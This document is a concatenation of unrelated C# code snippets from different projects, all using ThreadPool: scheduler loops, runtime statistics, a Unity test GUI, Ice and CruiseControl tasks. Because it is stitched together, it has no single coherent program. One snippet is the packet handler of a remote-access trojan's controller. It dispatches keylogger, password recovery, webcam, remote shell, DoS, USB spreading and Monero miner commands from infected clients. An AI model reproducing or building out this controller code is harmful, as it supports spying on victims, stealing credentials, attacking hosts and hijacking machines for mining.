FloatValueStatistic.FindOrCreate(StatisticNames.RUNTIME_GC_PROMOTEDMEMORYFROMGEN0KB, () => promotedFinalizationMemoryFromGen0PF.NextValue() / KB); } if (numberOfInducedGCsPF != null) { FloatValueStatistic.FindOrCreate(StatisticNames.RUNTIME_GC_NUMBEROFINDUCEDGCS, () => numberOfInducedGCsPF.NextValue()); } IntValueStatistic.FindOrCreate(StatisticNames.RUNTIME_MEMORY_TOTALPHYSICALMEMORYMB, () => (long)((TotalPhysicalMemory / KB) / KB)); if (availableMemoryCounterPF != null) { IntValueStatistic.FindOrCreate(StatisticNames.RUNTIME_MEMORY_AVAILABLEMEMORYMB, () => (long)((AvailableMemory / KB) / KB)); // Round up } #endif IntValueStatistic.FindOrCreate(StatisticNames.RUNTIME_DOT_NET_THREADPOOL_INUSE_WORKERTHREADS, () => { int maXworkerThreads; int maXcompletionPortThreads; ThreadPool.GetMaxThreads(out maXworkerThreads, out maXcompletionPortThreads); int workerThreads; int completionPortThreads; // GetAvailableThreads Retrieves the difference between the maximum number of thread pool threads // and the number currently active. // So max-Available is the actual number in use. If it goes beyond min, it means we are stressing the thread pool. ThreadPool.GetAvailableThreads(out workerThreads, out completionPortThreads); return(maXworkerThreads - workerThreads); }); IntValueStatistic.FindOrCreate(StatisticNames.RUNTIME_DOT_NET_THREADPOOL_INUSE_COMPLETIONPORTTHREADS, () => { int maXworkerThreads; int maXcompletionPortThreads; ThreadPool.GetMaxThreads(out maXworkerThreads, out maXcompletionPortThreads); int workerThreads; int completionPortThreads; ThreadPool.GetAvailableThreads(out workerThreads, out completionPortThreads); return(maXcompletionPortThreads - completionPortThreads); }); }
public ThreadObject(int id, ThreadPool threadPool) { _id = id; _threadPool = threadPool; }
// a thread enters Run as a result of a workitem being enqueued when the thread limit is not yet reached // a thread exits Run when it traverses the workitem queue and no workitem is ready to execute (which means other threads are executing them). private void Run(object workItem) { this.counters?.Increment(SchedulerCounters.ActiveThreads); this.isSchedulerThread.Value = true; var threadName = Thread.CurrentThread.Name; bool completed = false; try { WorkItem wi; if (workItem != null) { wi = (WorkItem)workItem; } else { // we got scheduled without a workitem, as a result of some other thread crashing // try to get another item from the global queue if (!this.globalWorkitems.TryDequeue(out wi)) { // no work left completed = true; return; } } // unless asked to shut down, keep trying to get items until no other workitems are ready while (!this.forcedShutdownRequested) { this.currentWorkitemTime.Value = wi.StartTime; this.ExecuteAndRelease(wi.SyncLock, wi.Callback, wi.SchedulerContext); // process the next local wi, if one is present if (this.nextWorkitem.Value != null) { wi = (WorkItem)this.nextWorkitem.Value; this.nextWorkitem.Value = null; this.counters?.Decrement(SchedulerCounters.LocalQueueCount); if (wi.SyncLock.TryLock()) { this.counters?.Increment(SchedulerCounters.LocalWorkitemsPerSecond); continue; } // it's locked, so let someone else have it this.Schedule(wi, false); this.counters?.Increment(SchedulerCounters.LocalToGlobalPromotions); } // try to get another item from the global queue if (!this.globalWorkitems.TryDequeue(out wi)) { // no work left completed = true; return; } this.counters?.Increment(SchedulerCounters.GlobalWorkitemsPerSecond); } } finally { this.isSchedulerThread.Value = false; this.currentWorkitemTime.Value = DateTime.MaxValue; this.counters?.Decrement(SchedulerCounters.ActiveThreads); if (completed) { this.threadSemaphore.Exit(); } else { // we got here because of an exception. let the exception bubble but start another thread. ThreadPool.QueueUserWorkItem(this.Run, null); } } }
/// <summary> /// Creates a new instance of the default LuaRuntime. /// </summary> protected LuaRuntimeNet(ILuaEnvironment E) { this.E = E; threadPool_ = new ThreadPool(E); }
public ThreadWrapper( ThreadPool pool, bool isPermanent, ThreadPriority priority, string name ) { this.pool = pool; this.isPermanent = isPermanent; this.priority = priority; this.name = name; lock( this.poolLock ) { // Update the total # of threads in the pool. // pool.currentThreadCount++; } }
public void Read(object o) { try { MsgPack unpack_msgpack = new MsgPack(); unpack_msgpack.DecodeFromBytes(data); string ip = client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]; Program.form1.Invoke((MethodInvoker)(() => { switch (unpack_msgpack.ForcePathObject("Packet").AsString) { case "ClientInfo": { ThreadPool.QueueUserWorkItem(delegate { new HandleListView().AddToListview(client, unpack_msgpack); }); break; } case "Ping": { new HandlePing().Ping(client, unpack_msgpack); break; } case "pong": { new HandlePing().Pong(client, unpack_msgpack); break; } case "Logs": { new HandleLogs().Addmsg($"Client {ip} {unpack_msgpack.ForcePathObject("Message").AsString}", Color.Black); break; } case "thumbnails": { client.ID = unpack_msgpack.ForcePathObject("Hwid").AsString; new HandleThumbnails(client, unpack_msgpack); break; } case "BotKiller": { new HandleLogs().Addmsg($"Client {ip} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange); break; } case "usb": { new HandleLogs().Addmsg($"Client {ip} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple); break; } case "recoveryPassword": { new HandleRecovery(client, unpack_msgpack); break; } case "Received": { new HandleListView().Received(client); break; } case "Error": { new HandleLogs().Addmsg($"Client {ip} error: {unpack_msgpack.ForcePathObject("Error").AsString}", Color.Red); break; } case "remoteDesktop": { new HandleRemoteDesktop().Capture(client, unpack_msgpack); break; } case "processManager": { new HandleProcessManager().GetProcess(client, unpack_msgpack); break; } case "socketDownload": { new HandleFileManager().SocketDownload(client, unpack_msgpack); break; } case "keyLogger": { new HandleKeylogger(client, unpack_msgpack); break; } case "fileManager": { new HandleFileManager().FileManager(client, unpack_msgpack); break; } case "shell": { new HandleShell(unpack_msgpack, client); break; } case "chat": { new HandleChat().Read(unpack_msgpack, client); break; } case "chat-": { new HandleChat().GetClient(unpack_msgpack, client); break; } case "reportWindow": { new HandleReportWindow(client, unpack_msgpack.ForcePathObject("Report").AsString); break; } case "reportWindow-": { if (Settings.ReportWindow == false) { MsgPack packet = new MsgPack(); packet.ForcePathObject("Packet").AsString = "reportWindow"; packet.ForcePathObject("Option").AsString = "stop"; ThreadPool.QueueUserWorkItem(client.Send, packet.Encode2Bytes()); return; } lock (Settings.LockReportWindowClients) Settings.ReportWindowClients.Add(client); break; } case "webcam": { new HandleWebcam(unpack_msgpack, client); break; } case "dosAdd": { new HandleDos().Add(client, unpack_msgpack); break; } case "sendPlugin": { new HandleLogs().Addmsg($"Sending plugins to client {ip} please wait..", Color.Blue); ThreadPool.QueueUserWorkItem(delegate { client.SendPlugin(unpack_msgpack.ForcePathObject("Hashes").AsString); }); break; } case "GetXmr": { new HandleMiner().SendMiner(client); break; } } })); } catch { client?.Disconnected(); return; } }
public void DoRequest() { ThreadPool.QueueUserWorkItem(DoRequestWorker, null); }
public void OnGUI() { var xpos = 0; var ypos = 0; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "Clear")) { logtext.Length = 0; } ypos += 100; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "Now")) { logger.Debug(DateTime.Now.ToString()); } ypos += 100; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "TimeScale-1")) { Time.timeScale -= 1f; } ypos += 100; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "TimeScale+1")) { Time.timeScale += 1f; } ypos += 100; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "TimeScale=0")) { Time.timeScale = 0; } ypos += 100; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "TimeScale=100")) { Time.timeScale = 100; } ypos += 100; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "Scheduler0")) { logger.Debug("run"); Scheduler.MainThread.Schedule(TimeSpan.FromMilliseconds(5000), () => { logger.Debug(DateTime.Now); }); } xpos += 100; ypos = 0; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "Scheduler1")) { logger.Debug("Before Start"); Scheduler.MainThread.Schedule(() => logger.Debug("immediate")); Scheduler.MainThread.Schedule(TimeSpan.Zero, () => logger.Debug("zero span")); Scheduler.MainThread.Schedule(TimeSpan.FromMilliseconds(1), () => logger.Debug("0.1 span")); logger.Debug("After Start"); } ypos += 100; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "Scheduler2")) { logger.Debug("M:Before Start"); Scheduler.MainThread.Schedule(TimeSpan.FromSeconds(5), () => logger.Debug("M:after 5 minutes")); Scheduler.MainThread.Schedule(TimeSpan.FromMilliseconds(5500), () => logger.Debug("M:after 5.5 minutes")); } ypos += 100; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "Realtime")) { logger.Debug("R:Before Start"); Scheduler.MainThreadIgnoreTimeScale.Schedule(TimeSpan.FromSeconds(5), () => logger.Debug("R:after 5 minutes")); Scheduler.MainThreadIgnoreTimeScale.Schedule(TimeSpan.FromMilliseconds(5500), () => logger.Debug("R:after 5.5 minutes")); } #if !UNITY_METRO ypos += 100; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "ManagedThreadId")) { logger.Debug("Current:" + Thread.CurrentThread.ManagedThreadId); new Thread(_ => logger.Debug("NewThread:" + Thread.CurrentThread.ManagedThreadId)).Start(); ThreadPool.QueueUserWorkItem(_ => { logger.Debug("ThraedPool:" + Thread.CurrentThread.ManagedThreadId); this.transform.position = new Vector3(0, 0, 0); // exception }); } ypos += 100; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "ThreadStatic")) { logger.Debug(threadstaticobj != null); new Thread(_ => logger.Debug(threadstaticobj != null)).Start(); ThreadPool.QueueUserWorkItem(_ => logger.Debug(threadstaticobj != null)); } ypos += 100; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "Log")) { logger.Debug("test", this); ThreadPool.QueueUserWorkItem(_ => logger.Debug("test2", this)); } #endif ypos += 100; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "POST")) { var form = new WWWForm(); form.AddField("test", "abcdefg"); ObservableWWW.PostWWW("http://localhost:53395/Handler1.ashx", form, new Hash { { "aaaa", "bbb" }, { "User-Agent", "HugaHuga" } }) .Subscribe(x => logger.Debug(x.text)); } xpos += 100; ypos = 0; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "Yield")) { yieldCancel = Observable.FromCoroutineValue <string>(StringYield, false) .Subscribe(x => logger.Debug(x), ex => logger.Debug("E-x:" + ex)); } ypos += 100; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "YieldCancel")) { yieldCancel.Dispose(); } ypos += 100; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "ThreadPool")) { Observable.Timer(TimeSpan.FromMilliseconds(400), Scheduler.ThreadPool) .ObserveOnMainThread() .Subscribe(x => logger.Debug(x)); } ypos += 100; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "Subscribe")) { subscriber.InitSubscriptions(); logger.Debug("Subscribe++ : " + subscriber.SubscriptionCount); } ypos += 100; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "Push")) { Publisher.foo(); } ypos += 100; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "Unsubscriber")) { subscriber.RemoveSubscriptions(); logger.Debug("UnsubscribeAll : " + subscriber.SubscriptionCount); } ypos += 100; if (GUI.Button(new Rect(xpos, ypos, 100, 100), "DistinctUntilChanged")) { new[] { "hoge", null, null, "huga", "huga", "hoge" } .ToObservable() .DistinctUntilChanged() .Subscribe(x => logger.Debug(x)); } // Time var sb = new StringBuilder(); sb.AppendLine("CaptureFramerate:" + Time.captureFramerate); sb.AppendLine("deltaTime:" + Time.deltaTime); sb.AppendLine("fixedDeltaTime:" + Time.fixedDeltaTime); sb.AppendLine("fixedTime:" + Time.fixedTime); sb.AppendLine("frameCount:" + Time.frameCount); sb.AppendLine("maximumDeltaTime:" + Time.maximumDeltaTime); sb.AppendLine("realtimeSinceStartup:" + Time.realtimeSinceStartup); sb.AppendLine("renderedFrameCount:" + Time.renderedFrameCount); sb.AppendLine("smoothDeltaTime:" + Time.smoothDeltaTime); sb.AppendLine("time:" + Time.time); sb.AppendLine("timeScale:" + Time.timeScale); sb.AppendLine("timeSinceLevelLoad:" + Time.timeSinceLevelLoad); sb.AppendLine("unscaledDeltaTime:" + Time.unscaledDeltaTime); sb.AppendLine("unscaledTime:" + Time.unscaledTime); //GUI.Box(new Rect(Screen.width - 300, Screen.height - 300, 300, 300), "Time"); //GUI.Label(new Rect(Screen.width - 290, Screen.height - 290, 290, 290), sb.ToString()); // logtext only GUI.Box(new Rect(Screen.width - 300, Screen.height - 300, 300, 300), "logtext"); GUI.Label(new Rect(Screen.width - 290, Screen.height - 290, 290, 290), logtext.ToString()); // Log //GUI.Box(new Rect(Screen.width - 300, 0, 300, 300), "Log"); //GUI.Label(new Rect(Screen.width - 290, 10, 290, 290), logtext.ToString()); }
public ThreadPool serverThreadPool(bool create) { lock(this) { if(_state == StateDestroyed) { throw new Ice.CommunicatorDestroyedException(); } if(_serverThreadPool == null && create) // Lazy initialization. { int timeout = _initData.properties.getPropertyAsInt("Ice.ServerIdleTime"); _serverThreadPool = new ThreadPool(this, "Ice.ThreadPool.Server", timeout); } return _serverThreadPool; } }
/// <summary> /// Runs the task, given the specified <see cref="IIntegrationResult"/>, in the specified <see cref="IProject"/>. /// </summary> /// <param name="result"></param> protected override bool Execute(IIntegrationResult result) { // Initialise the task var logger = Logger ?? new DefaultLogger(); var numberOfTasks = Tasks.Length; tasksDetails = new ParallelRunningSubTaskDetails[numberOfTasks]; result.BuildProgressInformation.SignalStartRunTask(GetStatusInformation(null)); logger.Info("Starting parallel task with {0} sub-task(s)", numberOfTasks); // Initialise the arrays var events = new ManualResetEvent[numberOfTasks]; var results = new IIntegrationResult[numberOfTasks]; for (var loop = 0; loop < numberOfTasks; loop++) { events[loop] = new ManualResetEvent(false); results[loop] = result.Clone(); tasksDetails[loop] = new ParallelRunningSubTaskDetails(loop, result); } // Launch each task using the ThreadPool var countLock = new object(); var successCount = 0; var failureCount = 0; for (var loop = 0; loop < numberOfTasks; loop++) { ThreadPool.QueueUserWorkItem((state) => { var taskNumber = (int)state; var taskName = string.Format(System.Globalization.CultureInfo.CurrentCulture, "{0} [{1}]", Tasks[taskNumber].GetType().Name, taskNumber); try { Thread.CurrentThread.Name = string.Format(System.Globalization.CultureInfo.CurrentCulture, "{0} [Parallel-{1}]", result.ProjectName, taskNumber); logger.Debug("Starting task '{0}'", taskName); // Start the actual task var task = Tasks[taskNumber]; var taskResult = results[taskNumber]; RunTask(task, taskResult, tasksDetails[taskNumber]); } catch (Exception error) { // Handle any error details results[taskNumber].ExceptionResult = error; results[taskNumber].Status = IntegrationStatus.Failure; logger.Warning("Task '{0}' failed!", taskName); } // Record the results lock (countLock) { if (results[taskNumber].Status == IntegrationStatus.Success) { successCount++; } else { failureCount++; } } // Tell everyone the task is done events[taskNumber].Set(); tasksDetails[taskNumber].Finished = true; tasksDetails[taskNumber].ParentResult.BuildProgressInformation.UpdateStartupInformation(GetStatusInformation(tasksDetails[taskNumber])); }, loop); } // Wait for all the tasks to complete logger.Debug("Waiting for tasks to complete"); WaitHandle.WaitAll(events); // Merge all the results logger.Info("Merging task results"); foreach (var taskResult in results) { result.Merge(taskResult); } // Clean up this.CancelTasks(); logger.Info("Parallel task completed: {0} successful, {1} failed", successCount, failureCount); return(true); }